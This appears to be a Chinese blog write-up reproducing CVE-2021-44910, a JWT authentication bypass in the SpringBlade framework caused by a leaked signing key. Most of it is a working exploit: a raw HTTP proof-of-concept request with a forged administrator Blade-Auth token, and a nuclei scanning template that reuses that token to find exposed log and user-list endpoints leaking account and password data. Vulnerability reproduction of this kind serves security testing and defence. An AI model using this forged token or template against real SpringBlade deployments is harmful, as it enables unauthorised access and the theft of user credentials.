springblade-JWT认证缺陷漏洞CVE-2021-44910

阿呆不呆@qq

已于 2024-09-03 11:20:18 修改

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文章标签： cve 漏洞复现

于 2024-09-03 11:19:55 首次发布

本文链接：https://blog.csdn.net/m0_73756016/article/details/141856740

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漏洞成因

SpringBlade前端通过webpack打包发布的，可以从其中找到app.js获取大量接口

然后直接访问接口：api/blade-log/api/list

直接搜索“请求未授权”，定位到认证文件：springblade/gateway/filter/AuthFilter.java

后面的代码审计可以参考

转载：SpringBlade框架JWT认证缺陷漏洞CVE-2021-44910-CSDN博客

大概意思就是这个认证判断有个逻辑缺陷，就是在泄露的前端pack里面对于jwt的判断认证不够严谨，并且加密的TokenConstant.SIGN_KEY也泄漏了

这样我们就能通过伪造jwt直接绕过鉴权，访问未授权的api接口

漏洞利用

api信息泄露

但是有可能会换名字，具体可以去前端webpack里找

/api/blade-log/api/list接口中会泄漏账号密码，只要管理员登录过

/api/blade-user/user-list泄露了账号密码

但是密码是加密过的，运气好可以爆开

poc

GET /api/blade-log/api/list HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g
Connection: close

nucleipoc

id: springblade-jwt
info:
  name: Latiaospringblade-Jwt
  author: FeiNiao
  severity: high
  description: https://forum.butian.net/share/973
  tags: jwt,springblade
http:
  - raw:
      - |+
        GET /api/blade-log/api/list HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
        Accept-Encoding: gzip, deflate, br
        Accept: application/json, text/plain, */*
        Connection: close
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "password"
          - "account"
        condition: and